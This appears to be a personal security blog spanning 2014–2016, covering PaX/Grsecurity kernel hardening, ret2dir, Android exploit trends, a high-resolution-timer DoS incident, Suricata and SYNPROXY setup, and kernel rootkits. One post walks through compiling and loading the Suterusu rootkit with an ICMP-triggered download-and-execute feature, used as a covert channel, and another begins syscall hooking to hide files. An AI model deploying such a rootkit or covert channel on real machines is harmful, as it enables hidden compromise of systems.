Thursday, September 15, 2016

Notes about ret2dir & PaX/Grsecurity

A paper "ret2dir: Rethinking Kernel Isolation" was released two years ago. It claimed that ret2dir can bypass modern mitigations including KERNEXEC/UDEREF/SMEP/SMAP/PXN. The author proposed a defensive solution is called eXclusive Page Frame Ownership (XPFO) in the paper. But it was not merge into the vanilla kernel back then. Some guys are trying to merge it again lately.

ret2dir might be a dramatic exploit technique can be useful to bypass mitigations. But it's not that "perfect" when it comes to PaX/Grsecurity. KERNEXEC does much more things than SMEP/PXN simply does not allow kernel code execution from userspace. I'd like to share a few things( truth?):

1, Even under kernel <= 3.9, the kernel patched with PaX/Grsecurity can prevent ret2dir attack without enabling any features. ret2dir only works if a few highly situational conditions satisfied. More detail? Plz ask those who did the tricks;-)

2, The fully ret2dir attack is based on PFN's information. The paper reveals two approaches to get the information:

1) simply read the info from /proc
2) physmap spraying

Unfortunately, all exploits we've found( public exploits & unpacked from malwares) are using the 1st approach in past 18 months. The evidence revealed that all other ret2dir exploits are copycats of these two ret2dir exploit examples( exploit writers aren't work hard?):

IMOHO, ROP is the only option left for ret2dir attack. Otherwise, creating a ROP chains is not that easy on PaX/Grsecurity kernel even without RAP, isn't it?

Saturday, August 27, 2016

How can we "hardened" an Android eco-system without Google?

.cn utilizes shitty firewall blocked every Google services away including Google Play and Nexus+OTA. Android phone vendors are providing their own OTA inside the .cn. For the security aspect, there are a few issues hard to solve.

1) Qualcomm/Samsung/Huawei build their own BSP based on AOSP source code. If the BSP shipped without basic security mitigation, the cellphone vendors are unlikely to backport it. It will definitely be a problem to those who concerns security and privacy.

2) Local small vendors upgrade so slow and some even may not have OTA. Security patches are hard to deliver in time.

3) .cn doesn't have Google Play, which means tons of Android apps never been well tested by malicious check before its online for the end-user.

Anyway, end-user has been suffering from the philosophy of "A-bug-is-bug". I'm going to share two stories about hardening solution. The 1st one is how I got here with help of PaX/Grsecurity's previous work. The 2nd is from Baidu( I don't talk about reputation here, not today-_-) Millions of Android phones are endangered by wilding malwares contains kernel exploits, such as HummingBad, Godless and Hellfire( Chinese version).

I'm pretty sure this is only a corner of iceberg. Organizations like underground criminals and intelligences might be use these easy-to-implement exploit to compromise those Android phone without basic mitigations. How can we still don't have ret2usr protection in 2016. Okidoki, welcome to the desert of the real;-)

I was keeping my eyes on what vulnerability and exploit exist within malware or rooting tools in past 18 months. Then I figure out that some of vulnerabilities are very popular to the offensive side: CVE-2014-3153( Futex vuln), CVE-2015-3636( Pingpong root), CVE-2015-0569( Prima wifi driver) and CVE-2015-1805( iovyroot).

I was thinking what if there's a solution to prevent those exploit without patch anything. Then I tried to make a prototype old Nexus device with hardened kernel. I did a few things on Nexus 7 2013's kernel( repo based on Jan 2014) last year by doing a couple of things:

1, Ported a PaX to flo's kernel, which is based on 3.4. Note: What I use is a relative weak version of PaX, without KERNEXEC/UDEREF/RAP and those strong Grsecurity features for x86.

2, Ported PXN( armv7). Minimal memory mapping restriction might be the 1st step for ret2usr protection and PXN should be the 2nd one.

3, Backport a security fix for CVE-2014-3153, which is the only one vulnerablity need to be fixed in my kernel. Because this version doesn't have UDEREF/PAN. Fortunately, Kees Cook done a backport of software-based PAN for 4.1.

4, Prevent infoleak to make exploit writer's life harder a bit.

I've been using rooting tools like TOWELROOT/KINGROOT/360ROOT to test this hardened version. None of their exploits can work until last month( maybe). I've also modified some need-to-hardcoded public exploit to test and I got the same result. Well, guess it seems not bad( yet).

Baidu( Google's competitor in .cn) proposed a solution a couple of months ago at HITB AMS and then release more info in Chinese at here and English version at Black Hat USA.

Unfortunately, they don't share how do they getting the root( so obviously;-)) in the 1st place. A complete steps should be like( let me know if I were wrong):

1) End-user install their apps

2) Rooting it via those easy-to-implement exploit( or getting it by reversing-_-)

3) Insert rootkit( based on inline hook framework) & Luapatch( Policy engine) into the kernel. I'm very curious if Baidu guys co-operate with Huawei. Cu'z Luapatch is looking similar to Huawei's ktap.

4) Then fixing bug ...let me guess, if you have a rootkit in someone else's kernel...well, shit will happen, as always. Otherwise, the policy engine & rootkit themselves may also have vulnerabilities. It's possible that adversary( criminals/Intelligence) will act if this solution goes popular.

IMOHO, I prefer the 1st way to solve the problem. But it's hard to convince vendors to merge the hardening patches. The 2nd solution may have potential risk to privacy, no one wants to have someone else's "god mode" in their cellphone, aren't they?

I've been analyzing different situational hardening solution and exploit method. For the defensive aspect, I hope that making more mitigation lands into AOSP kernel. Otherwise, KSPP is another way to improve Android security. Mitigation is the way to solve those issues once for all.

Update( Oct 31 2016):  Hardened PoC for Android needed a backport fix for CVE-2016-5195( a.k.a "DirtyCOW"). Cu'z it's a dangerous threat to all Android devices. There are a dozen of public PoCs, so it'd be much easier to attackers to forge their weaponized exploit to target Android devices.

Friday, November 06, 2015

Is Linux kernel secure?

I've read a article "Net of insecurityThe kernel of the argument" from The Washington Post today. It's fuc*ing good one. I've been torturing by the security status of *stable* linux kernel for a fuc*ing long time. I never see one article can talk about the truth like this one. Many commercial customers( especially from financial data centres) has been painful to use commercial GNU/Linux products for years. Remember those 0ld good null-deref exploits and Enlightment framework back in 2000s? What did Linus and these commercial GNU/Linux vendors response back then? They said "A bug is bug" is one thing, while SELinux can protect your asset is another. Unfortunately, they are lies to you, as always.......

I'm not going to talk about those shitty history right here. You can google if you really want to know the truth. A little advice, you could start from here.

Well, speaking of the history of mitigation. I'm highly recommend you should go through thinkist's presentation at BH'10. Who the hell can explain the history so detailed like he did;-)

Black Hat USA 2010: Memory Corruption Attacks: The Almost Complete History


"As long as there is technology, there will be hackers. As long as there are hackers, there will be PHRACK magazine."( Quoted from Phrack Issue 63). As long as there are vulnerabilities, there will be exploits. As long as there are exploits, there will be mitigation.........

Basically, the possible evolution of a exploitable bug should be look like this:
Bug –> exploitable bug(vulnerability) –> poc –> exploit –> reliable/weaponized exploit

That's where the problem comes. There are two types of philosophical ideas about how to deal with exploitable bug.

1, Linus Torvalds represent the philosophy of "A bug is bug", which believes any exploitable bug should be taken care of like the normal bug. When one is being found, just get to fix it. Any security mitigation is fully waste of CPU usage. Developers should've only focus on the features and performance. He( and his followers) even believes bug info's obscurity is the way to prevent attacker and "security through obscurity" is an effective approach for Linux kernel upstream.

2, PaX Team and spender are the most fascinating guys on the side of security mitigation. They( I) believes numerous exploitable bugs can not be solved once for all by fixing them. But we can design some specific security mitigation to against the specific types of vulnerabilities. That's the only way to solve this issue.

Well, those two philosophical ideas are totally different. Why the hell happens? IMOHO, one of main reasons is the threat model is totally different. In my own adversary, the attackers may have the weaponized exploits, which developed by digital armory( Vupen, HT?) or underground. While only the skiddies in Linus's threat model( it seems to be at least;-)).

Some commercial GNU/Linux vendors basically believes public exploit is the most important reason to influence their risk assessment. Don't believe that? They admitted by themselves;-)

A lot of my customers always says one of reasons they choose GNU/Linux as their alternatives of UNIX, because GNU/Linux is secure. I've been wondering all the time and response like "ARE U fuc*ing serious?". Now GNU/Linux is dive into the next age of Internet, which some people would like to call IoT( internet of the things). But the question is: Is Linux kernel ready to face the tons of cybercriminals? You fuc*ing tell me........

btw: Kernel/Compiler/Firmware are very important core infrastructures of modern cyber world. A lot of good people are busy to defend our world by their effort. PaX/Grsecurity guys are my heros. Reproducible builds( based on the theory of DDC, by David A. Wheeler) is definitely gonna piss NSA off. CHIPSEC( for firmware) may be the starting point. I do believe only the fined FOSS solution can make this world a little more secure......

Sunday, July 12, 2015

Damn, the disclosure of PRISM cost my money;-)

Time is running on. It's been about two years after Mr.Sn0wden made the 1st disclosure of those documents back in June 2013. Everybody was shocked back then. In security/hacker community, those news about what BIG BROTHER did to us was nothing new. Guess most people already knew it. But what Mr.Sn0wden brings us, is to confirm the details about how BIG BROTHER has been doing the shit. More importantly, it has educational purposes for the public. The whole world is fuc*ing changed, because of PRISM disclosure. People( I mean crypto-anarchist, professional paranoia, etc) think differently from then. To myself( as a FOSS cybersecurity dude), the PRISM definitely changed my life.

I kept reading some astonishing news about leaked documents back in July 2013 and thought a lot during the period of oSC2013 at a beautiful city nearby Aegean Sea. "What should I do about it? Should I get involve with something? What kind of philosophical ideas can better fit in post-prism era?" and so on..these questions I asked myself many times. Then I was thinking ......

1, Philosophical level. Well, free software philosophy would be the same to me since 2007. The concept of free/libre is more important than ever before. In post-prism era, BIG BROTHER and big corps are too powerful to restrict the individual freedom in digital world. Although we've won the war between open vs. closed. But many people still misunderstand about the differences between free software and open source. IMOHO, support FSF( Free Software Foundation) will always be on my TODO.

2, Technical level. Many researches reveal that open system is more secure than closed one. Btw, Bruce Schneier agrees with that. After all these years, I finally realize there are two powerful weapons we can use to against the enemy: System security & Cryptography. Some people only focus on crypto and OS level security is totally missing, which might cause a failure. It's like building a fortress upon the sand. Some 0ld sch00l hackers criticised about it last year. In the practical cases to GNU/Linux users, PaX/Grsecurity is the only option we have.

3, Law level. Speak of law & public education, EFF has been doing the great work in past two decades. Why would I support EFF? The reason is so simple: They speak for me, or they speak for the type of person like me.

I did the math a little bit today and found out I've donated around $5800 to the FOSS community including FSF, EFF, Debian, Mempo, PaX/Grsecurity, HardenedLinux, HardenedBSD since the disclosure of PRISM. I'm not trying to convince anyone to donate money to any organizations here. But I'm encouraging you to think for yourself, about why are you here reading my fuc*ing annoying & noisy blog? Does free software matters to you? Or don't you think is worth supporting about what EFF is doing?

Long live 0ld sch00l!
Long live anarchy!

Thursday, April 09, 2015

Debian GNU/Linux security checklist and hardening

The 1st time I met Debian GNU/Linux was about a decade ago when I was a college dude. Stupid college life was too boring back then;-) It was almost the same time I met Phrack ezine in my 1st time. Damn, time is running on...

Anyway, I'd like to share this article "Debian GNU/Linux security checklist and hardening" with you guys. H0pe you can find your peace in this pathetic era;-) Yeah..yeah..I just wanna say: "Phrack is not dead, PaX/Grsecurity is not dead, DNFWAH is not dead, 0ld sch00l is not dead, the Underground spirit is not dead.....If they were, that'd be on us!!!".

Tuesday, March 17, 2015

HIGHRES TIMER can be your DoS nightmare

This is a real-life story about HIGH RESOLUTION TIMER and how lame
coders use it to make a self-DoS;-) You should be very cautions if
your system was written by those type of coders.

Incident happened:

1, A dozen of RHEL 6 GNU/Linux servers were extremely slow while
running some *** applications. The kernel CPU usage was about

2, the "free" item from vmstat was not seems OK. "free" was keep
increasing but "buff" & "cache" were decreasing when a bunch of data
went through. Then kernel gave you a *hint* about OOM( Out of Memory):

"kernel panic - not syncing: Out of memory and no killable processes..."

Then kernel tried to kill each processes until shit happened, which
was kernel panic.

I began this investigation with strace. The result was quite
strange. Why would the application( malware?) invoke the syscall
nanosleep() so often? Every 10000ns( 10us)? Seriously? All I can tell
is the application doesn't need to do real time work.

15:30:08.002047 nanosleep({0, 10000}, NULL) = 0 <0 .000082="">
15:30:08.002175 nanosleep({0, 10000}, NULL) = 0 <0 .000074="">
15:30:08.002297 nanosleep({0, 10000}, NULL) = 0 <0 .000074="">
15:30:09.917557 nanosleep({0, 10000}, NULL) = 0 <0 .000075="">
15:30:09.917661 nanosleep({0, 10000}, NULL) = 0 <0 .000071="">

The customer said it was never happened in 0ld good GNU/Linux systems(
like RHEL 5). My guts hints me to a direction: High Resolution
Timer. A type of kernel timer that can provide more accurate time
measure. I've read Linux Manual and very well explained kernel doc and 
learned that HIGHRES TIMER was added to the upstream code in
2.6.21. So I guess..just guess..some lazy & lame coders just want to
make the program "sleep" in a very "short" time. Then he/she wrote
this code very confidently:


If you're running linux kernel before 2.6.21, this line of code will
only sleep between 1ms and 2ms. But..annoying *but* is coming..if
you're running *modern* GNU/Linux distro with HIGHRES support, the
same code will sleep 10us, which might cause performance hit. CentOS
community had the similar issue before:

From the evidence we have, there are two clues might lead us to the
crime-scene: High Resolution Timer.

1, nanosleep() has been invoked >=8k times in every fuc*ing second.

2, The victim kernel was not running with kdump. But we still have
some kernel logs. According to the CallTrace, the kernel was playing
with HIGHRES-related context should not be a coincidence:

 [] ? audit_syscall_exit+0x27e/0x290
 [] ? sysret_audit+0x16/0x20
 [] ? __hrtimer_start_range_ns+0x1a3/0x460
 [] ? sysret_audit+0x16/0x20
 [] ? sysret_audit+0x16/0x20
 [] ? audit_filter_rules+0x2d/0xa10
 [] ? audit_syscall_exit+0x27e/0x290
 [] ? sysret_audit+0x16/0x20
schedule_timeout: wrong timeout value ffffffffffffb572


I'm giving you two options:

1, Modify the source code( if you have) about *sleep*-related
functions and tell the fuc*ing coders they can go home and fuck

2, Append "nohz=off highres=off" to the file /etc/grub.conf, to turn
it fuc*ing off this feature.

Testing result:

Unfortunately, we had to test this in a production system..but we did

| Item      | HIGHRES ON          | HIGHRES OFF |
| nanosleep |   >8,000 times      | 345 times   |
| buff/cache| Decreasing          | Increasing  |
| %sys      | 50%                 | 6%          |

Well, I guess we arrested the *perpetrator* this time. Damn...not every 
business impact caused by security issues;-)

Saturday, January 03, 2015

Happy New Year 2015

Time is running on and brings us to another new year. Does this fuc*ing mean another fight? I've been sitting on my butt and watching a lot of presentations of 31C3. Unfortunately, I couldn't be there physically. I'm fuc*ing jealous you guys who were there;-)

I've learned a lot from these videos. So, I'd like to write down what I thought about some great topics.

31C3 Opening Event [31c3] mit Erdgeist und Geraldine de Bastion
Nothing I can say about opening;-)

Jacob Appelbaum: Reconstructing narratives - transparency in the service of justice

This is the most fuc*ing awesome presentation I've seen in 2014 since I watched Jacob's free speech on last C3 conference. Yes..what I've been trying to tell people( friends & customers) that only a few things we may rely on: OTR, PGP, SSL/TLS with PFS... This is a very positive message that not everything is being fucked. Well... IMOHO, only taking crypto itself into account is not enough.  Kernel hardening should be a must-need stuff more than ever before. A lot of 0ld sch00l guys are complaining about people are still not taking serious about system-lvl security( PaX/Grsecurity? QubeOS? Mirage OS?) after EFF released the security guideline. Even the Information Security for Journalists focuses on crypto in the most part......damn...I think there are  a lot of interesting stuff we could try in 2015.............

SS7map : mapping vulnerability of the international mobile roaming infrastructure [31c3]

Well done, P1Sec guys! Telco security is not my major focus, but I've been learning CORENET stuff from some friends in last a few years. According to the ss7map, China is one of country has high risk in CORENET. Guess a huge consulting market is out there;-)

The Cloud Conspiracy 2008-2014 [31c3]

Everybody are talking about the cloud. Cloud might help small startup( don't have sensitive data) in many aspects, especially on cost issue. But..speak of cloud security, damn..I'm gonna speak it out: The security of public cloud is a joke, the security of private cloud is a fraud;-)

Trustworthy secure modular operating system engineering

Building trust-chains within compartment/containment is not a bad idea for defense in depth. "What you're doing is wrong" is a common phrase from hacker community. But how to do it right is a scientific problem;-) I don't think typed-safe language will be a silver-bullet. New issues and snake-oil security product always comes out. People will be happy to talk about how "Next-Gen" technology gonna change the future...unfortunately, they have no idea what the fuc* they talk about( in most cases). Why would the fuc*ing industry needs "Next-Gen" technology? I guess, no one wants talk about what the hell was the Last-Gen tech;-)

SS7: Locate. Track. Manipulate.

Wow..very good work, Tobias! I was so exciting when you show up the demo. CORENET is really interesting and amazing. That reminds me a saying from Captain: "The phone company is nothing but a computer... A computer is a System...". Ohh, did I say "cloud"?

Switches Get Stitches - Industrial System Ownership

People are taking serious about ICS security after the disclosure of Stuxnet. In the meantime, snake-oil products/services just come out of nowhere. This talk is awesome. It's almost like ICS security 101 to me. Thanks Eireann, I think I owe you a beer;-)

Reproducible Builds - Moving Beyond Single Points of Failure for Software Distribution

I love EFF and being proud as a member. EFF has been doing a great job about public education and fighting for individual's privacy. I'm not sure if we could win or not. But this is the right thing to do. Reveal the dark-side of cybersecurity is inevitable. We had to deal with shit like Mr.Dullien mentioned in Offensive work and addiction. Do we ever had a chance to live in a *purely* world without "I hunt sysadmin"? If we don't, reproducible builds is very valuable for us to against mass surveillance. Gitian is a project, which Seth & Mike mentioned about.

 Reproducible builds can't solve all potential threats. But it can help us in some levels to identify "There is a backdoor in the indentical binary or there isn't a backdoor". You might also want to read about Trusting trust issue.

By the way, another reason I love Debian is because Mempo project;-) We need your hands..fuck off, NSA!

Freedom in your computer and in the net(click me)

Fascinating free speech from RMS! My wife believes that to be idealistic is to be realistic...are we talking about leap of faith? Sometimes, faith is all we left;-) RMS is one of the most respectful man. His philosophy inspired me to started using GNU/Linux. Phrack inspired me to be a cybersec dude....

RMS talked about a few important things in 31C3:
1, The differences between Free software and open source. Free Software is more concern about ethical libre, while open source only emphasize  the practical stuff like code quality or cost issue.

2, Security aspect. Free Software is more secure than closed software. Microsoft send NSA the information of Windows bug before they fix, maybe other vendors( closed-source product) would do the same things.

3, RMS thinks all university should teach reverse engineering. It's a good choice when you had to explore something in a closed-source world.

4, RMS siad "...also the software they teach student to use must be free, because the school has social mission to educate good citizens of society that is strong, capable, independent, cooperating and free..". Damn..I was touched. I've been asking myself a question for a long time: Why would I support FSF and EFF in the 1st place? Probably I can say now, that is: It's worth. Making the public can get benefit from it and educate the public about free software and digital privacy are so important in the information age.

btw: Hope I can make it to 31C3.

May the L0rd's hacking spirit guides us in 2015!

Sunday, August 10, 2014

An awesome linux kernel rootkit: Suterusu

I've been fuc*ing busy since I left SuSE about two months ago. I have a lot of time to hack/learn anything I want. Well, rootkit is one of my TODO things, as always. I wrote a dumb rootkit a half year ago. It's using an old good method to hiding file: hijack some syscalls. There's a better solution called "inline hook". Suterusu is the one implemented a inline hook framework. I don't want to explain the detail of how Suterusu was implemented. Cuz' no one( in the most cases) would do the job better than the original author: Michael Coppola already wrote a good article "Suterusu Rootkit: Inline Kernel Function Hooking on x86 and ARM".

I always want to make some open source rootkits work on the latest version of GNU/Linux. Damn...I'd be exhausted if I really do that. There are bunch of rootkits( adore-ng, ddrk, kbeast-v1, wnps, etc) out there and out-of-dated for years. Although you might find some "modern" ones like maK_it, kernel-rootkit-2.6.32, etc...but..there's always a annoying "but"...these rootkits are either lacking of inline hook framework or can't support a diverse linux kernel versions. I've test Suru on a dozen of different linux kernels, from 2.6.35 to 3.13.1. Now I'm going to share two stories of mine( of course, it's Sur-related;-)):

1, A friend asked for advice about rootkit selection, of course I'd never hesitate to tell him to use Suru. When he tried to use it, he found out he couldn't compile it on kernel-3.14.1. Then I modified a few lines of code and then it works.

2, Another friend( a pentester) asked me if I can make any rootkit work on CentOS 6.5 with 2.6.32-431.el6 x86_64. I tried Suru and found out it was not support 2.6.32 yet. Then I've add less than 100 LOC and then it works.

Suru is an awesome rootkit. I'm sure a lot of people are using it. Today I found out two features of Suru called "ICMP" and "DLEXEC" that I never look into it. A friend( still that pentester) told me it can be used as a covert channel to transfer files. I write a triggering program that could craft a specific ICMP header/payload and send it to the "victim server". When the victim receives the packet, it will download a file from a specific server.

1. Download the Suterusu for both "victim" and "attacker".

2. The victim is using CentOS 6.5:
root@centos-rktesting ~]# uname -r

2.1 Install some necessary packages:
yum install -y kernel-devel.x86_64 gcc vim

2.2 Compile & load the rootkit:
[root@centos-rktesting suterusu]# make linux-x86_64 KDIR=/usr/src/kernels/2.6.32-431.23.3.el6.x86_64/ ICMP=y DLEXEC=y
make ARCH=x86_64 EXTRA_CFLAGS="-D_CONFIG_X86_64_ -D_CONFIG_DLEXEC_ -D_CONFIG_ICMP_" -C /usr/src/kernels/2.6.32-431.23.3.el6.x86_64/ M=/root/suterusu modules
make[1]: Entering directory `/usr/src/kernels/2.6.32-431.23.3.el6.x86_64'
  CC [M]  /root/suterusu/main.o
  CC [M]  /root/suterusu/util.o
  CC [M]  /root/suterusu/module.o
  CC [M]  /root/suterusu/dlexec.o
  CC [M]  /root/suterusu/icmp.o
  LD [M]  /root/suterusu/suterusu.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /root/suterusu/suterusu.mod.o
  LD [M]  /root/suterusu/suterusu.ko.unsigned
  NO SIGN [M] /root/suterusu/suterusu.ko
make[1]: Leaving directory `/usr/src/kernels/2.6.32-431.23.3.el6.x86_64'

[root@centos-rktesting suterusu]# insmod suterusu.ko

3. The attacker can use anything GNU/Linux distro as you want, compile the file server and designate the file you want it to be transferred:
shawn@shawn-fortress /tmp/suterusu $ sudo ./a.out 8556
Bound to port 8556, waiting for connection...

3.1 Open a new terminal:
shawn@shawn-fortress /tmp/suterusu $ cd test/
shawn@shawn-fortress /tmp/suterusu/test $ ls
shawn@shawn-fortress /tmp/suterusu/test $ ./

 4. Go to the victim's machine, check:
[root@centos-rktesting ~]# cat /root/.tmp

Typical compilation steps:



That's it! Show time is over! It's quite simple, ah? I really appreciate Michael Coppola released Suterusu under free/open source software license. And I also thank him brings us good writings;-)

btw: What next? I probably go to try some memory forensics, to see if I could hunt some rootkits;-)

Have fun & good hunting!!!

May the L0rd's hacking spirit guide us!!!

Further readings:
[1] RFC-792

[2] Python documentation:

[3] TCP/IP protocols

[4] Sock-RAW

Wednesday, May 14, 2014

Simple Grsecurity RBAC policy with kernel 3.14.1 on Debian 7.4

Speaking of kernel hardening, I personally like Apparmor and sick of SELinux( you know why). pi3's paper on Phrack Issue 67 was the 1st place I've met Grsecurity/Pax. I never forget that 30-sec would help the people to build the defense in depth;-) Then I went to read some Phrack papers from old good hacking days that I missed. Then I know they are the original authors of ASLR...and much more. No doubt that Grsecurity/Pax is one of the most respected old school communities......Note: Grsecurity/Pax don't use LSM since LSM breaks the principle of build-security-in, which should treat the security as whole. I think it's time to explore....

Download kernel:

Download grsecurity patch:

Patch the kernel with grsecurity:
xz -d linux-3.14.1.tar.xz
tar xvf linux-3.14.1.tar
cd linux-3.14.1/
patch -p1 < ../grsecurity-3.0-3.14.3-201405121814.patch

You can use my kernel config:

Or make your own config via "make menuconfig". Then compile the kernel:
make -j3 deb-pkg

It will help you build deb packages. All you need to do is install them:
dpkg -i ../*.deb

Now, the kernel part is done. Download gradm( RBAC administrator utility):

tar zxvf gradm-3.0-201401291757.tar.gz
cd gradm/
make && make install

Reboot the machine:
shutdown -r now

Now, you need to set a bunch of annoying passwords:
root@d6-test:/etc/grsec# gradm -P
Setting up grsecurity RBAC password
Re-enter Password:
Password written to /etc/grsec/pw.
root@d6-test:/etc/grsec# gradm -P admin
Setting up password for role admin
Re-enter Password:
Password written to /etc/grsec/pw.
root@d6-test:/etc/grsec# gradm -P shutdown
Setting up password for role shutdown
Re-enter Password:
Password written to /etc/grsec/pw.

Add this:

into the tail of /etc/grsec/policy

What I did in the above policy was I created role shawn as a user, with some default polices, like /bin is executable only, etc. Then I set a binary /home/shawn/grsec_test/a.out has read permission on /home/shawn/hello and write permission on /home/shawn/world and run another shell is not allowed.  You can use my code to test the policy:

btw: I tested the poc of CVE-2014-0196 on kernel-3.13 and it crashed the kernel. I tested it on kernel-3.14.1 with Grsecurity and it doesn't work. But this issue should be affected on 3.14.1...ah, I think Grsecurity works in some "mysterious" ways to prevent this poc. I'll dig deeper about this amazing hardening implementation.

Further readings:
[1] Grsecurity wiki

[2] Documentation for the PaX project

[3] Grsecurity Blog

Wednesday, April 16, 2014

Audit: don't only focus on heartbleed issue

I received the info about heartbleed issue on Apr 8 andI found out SLES-11 are using OpenSSL 0.9.8 branch code, which is not vulnerable to heartbleed issue. Then I patched it for OpenSuSE 13.1/12.3. It was easy because the patch was already there.

After an exciting and crazy week. People are getting calm and plan or already start to doing audit on their system. But there are something you might miss. The older version of OpenSSL( like 0.9.8) might not affected by heartbleed issue but it doesn't mean you are secure. Don't forget the old OpenSSL are still vulnerable to BEAST( 2011), CRIME( 2012), Lucky-thirteen( 2013). I do believe Lucky-thirteen is far more dangerous than heartbleed, we just don't know. Once you start the audit, plz upgrade the OpenSSL to the latest version. If you are using 0.9.8, plz upgrade to 0.9.8y, which is not vulnerable to Lucky-13 issue.

Fix heartbleed issue for website is much easier than the networking devices( Firewall, UTM, SSL/IPSEC VPN, etc) and the 3rd-party software. This definitely gonna impacting for long term.

I'd like to share some materials( you might already known).

Heartbleed issue technical analysis:

I totally agree with the last point from this article:

To these major companies are highly reply on the open source TLS implementation( OpenSSL, GnuTLS, etc) should give them funding, to make them more secure and stable.

EFF is always right about how to aginst massive surveillance by agencies
like NSA. PFS is so fuc*ing important especially today. I think we should use TLS 1.2.

Performance hit probably is one of reasons that PFS is so important but the fact is only afew websites using it:

Test top-1m websites:


Client PoC:

One more thing, to those who are still complaining about the security of free/open source software is worse than closed software. Well, I don't want to argue here. But, I'm giving you type of people 3 options:
1, Join the community, help the FOSS community to do code audit.
2, Make some donations to the organizations who really cares about your privacy and do the code audit for us. Like EFF, I'm fuc*ing pround of I'm member of EFF.....
3, G O   H O M E   A N D   F U C K   Y O U R S E L F   ! ! !

Monday, March 31, 2014

Suricata's file extraction on Debian GNU/Linux

Suricata is a high performance open source IDS/IPS project. I used it a long time ago around 2010 when it was released. I've been playing with Snort recently and then found Suricata has a great feature: File extraction. It'd be helpful to those who want to get malware samples from IDS. Anyway, like old days, I want to test it on my own and see how it works on Debian. First things first, I need to build it and see if it works.

Download a latest version of the small installation ISO image. I need to clarify my testing environment: Debian is running on my virtual machine, which has two NICs are eth0 and eth1. Interface eth0 is running on NAT mode and eth1 is running bridge mode.  Debian don't assign any IP addr to eth1.

Because our Debian is the small installation. So we have to install some dependency packages via simply apt-get:

#apt-get install vim openssh-server ethtool libpcap-dev libnfnetlink-dev libnetfilter-queue-dev libdnet-dev libdumbnet-dev libpcre3-dev libpcre3-dbg bison flex make zlib1g-dev autoconf libtool libnss3-dev libnspr4-dev libjansson4 libjansson-dev libyaml-dev libcap-ng0 libcap-ng-dev libnet1-dev libmagic-dev build-essential

Get the source code of Suricata:
#cd /tmp
#wget wget
#tar zxvf suricata-2.0.tar.gz
#cd suricata-2.0

Compile and installation:
#./configure --enable-nfqueue --enable-gccprotect --prefix=/usr/local/suricata --localstatedir=/var
#make -j3
#make make-full

Edit suricata.yaml:
1, Set the request/response body a litte bigger:
           request-body-limit: 1gb #3072
           response-body-limit: 1gb #3072

2, Enable file extraction:
  - file-store:
      enabled: yes       # set to yes to enable
      log-dir: files    # directory to store the files
      force-magic: no   # force logging magic on all stored files
      force-md5: no     # force logging of md5 checksums
      waldo: file.waldo # waldo file to store the file_id across runs

  # output module to log files tracked in a easily parsable json format
  - file-log:
      enabled: yes
      filename: files-json.log
      append: yes
      #filetype: regular # 'regular', 'unix_stream' or 'unix_dgram'

3, Add our "test" rule file( test.rules in this case) into the section "default-rule-path:", like:
default-rule-path: /usr/local/suricata/etc/suricata/rules
 - test.rules
 - botcc.rules

Create a rule file:

Add one line into test.rules( to save any jpg files) :
alert http any any -> any any (msg:"FILESTORE jpg"; fileext:"jpg"; filestore; sid:6; rev:1;)

Enable the eth1:
#ifconfig eth1 up

According to the Suricata's wiki, we should turn off the TCP GSO:
ethtool -K eth1 tso off
ethtool -K eth1 gro off
ethtool -K eth1 lro off
ethtool -K eth1 gso off
ethtool -K eth1 rx off
ethtool -K eth1 tx off
ethtool -K eth1 sg off
ethtool -K eth1 rxvlan off
ethtool -K eth1 txvlan off
ethtool -N eth1 rx-flow-hash udp4 sdfn
ethtool -N eth1 rx-flow-hash udp6 sdfn
ethtool -n eth1 rx-flow-hash udp6
ethtool -n eth1 rx-flow-hash udp4
ethtool -C eth1 rx-usecs 1000
ethtool -C eth1 adaptive-rx off

Run the Suricata with this command:
/usr/local/suricata/bin/suricata -c /usr/local/suricata/etc/suricata//suricata.yaml -i eth1

Use your firefox/chrome on your host machine, and visit some website, like this.

You should see some girl pictures in /var/log/suricata/files  ;-)

btw: Thanks to Suricata community brings us this fuc*ing awesome IDS/IPS project. Special thanks to Peter Manev.

Wednesday, March 19, 2014

SYNPROXY: the great DoS mitigation solution

I don't expect to can see a perfect DoS solution in my lifetime;-) As we known, there are tons of commercial gateway-level boxes can mitigate the DoS attack in some ways. But I prefer the combination of x86+GNU/Linux, like the most old school guys. Why? My answer is simple: It's the fuc*ing cheapest solution we have. SYNPROXY is one of  new features of linux kernel 3.13. It's based on netfilter framework and connection tracking. If I understand correctly, SYPROXY should mark the initial SYN packet as UNTRACKED and redirecting them into iptables's action "SYNPROXY"( like ACCEPT, DROP, NF_QUEUE, etc). SYNPROXY would be acting like a network gateway device( router?) to performing the regular TCP x-way handshakes. The original packet will be passing into the dst when handshake process is finished. The contributor Jesper Dangaard Brouer gave us a free speech at DEVCON last month. According to his slide's test result, these numbers are really looking good. I did a little test with my colleague today.

Platform: Debian, SLES-12-beta2
Hardware: Laptop, Server, 100Mbps Switch
Tools: hping3, metasploit

root@d6-test:/home/shawn# iptables -t raw -A PREROUTING -i eth0 -p tcp --dport 8888 --syn -j NOTRACK
root@d6-test:/home/shawn# iptables -A INPUT -i eth0 -p tcp --dport 8888 -m state --state UNTRACKED,INVALID -j SYNPROXY --sack-perm --timestamp --mss 1480 --wscale 7 --ecn
echo 0 > /proc/sys/net/netfilter/nf_conntrack_tcp_loose

Without SYNPROXY: ksoftirq is around 8%-9%
With SYNPROXY: ksoftirq is less than 3%

btw: This result may not be very accurate. Anyway, SYNPROXY works.

Thursday, February 06, 2014

Simple linux rootkit on Debian with kernel 3.13

I've wasted a lot of time in 2013. I've always find some shity execuses, like "I'm fucking busy recently" to delay my hacking journey of kernel rootkit. This was supposed to be done a couple of months ago. Thank L0rd! I found a slot during Chinese new year vacation at my hometown. I begun the adventure of rootkit hacking. I've read a bunch of great Phrack papers from the old good hacking days. It's old but it'd help.

[Weakening the Linux Kernel, Phrack Magazine Volume 8, Issue 52
January 26, 1998, article 18 of 20]

[Advances in Kernel Hacking, Volume 0x0b, Issue 58, Phile #0x06 of

[Handling Interrupt Descriptor Table for fun and profit, Volume 0x0b,
Issue 59, Phile #0x04 of 0x12]

[Kernel Rootkit Experiences, Volume 0x0b, Issue 61, Phile 0x0e of

[Mistifying the debugger, Volume 0x0c, Issue 65, Phile #0x08 of

Especially thanks to THC's paper, which was released in 1999:
[Complete Linux Loadable Kernel Modules]

I wrote a simple rootkit that can only hide a specific file. Just a
few old school steps could make its feature possible:

Firstly, we need to retrieve the system call table. But it's no longer
exported since 2.6. Fortunately, there's still a few system calls are
exported. sys_close() is one of them:
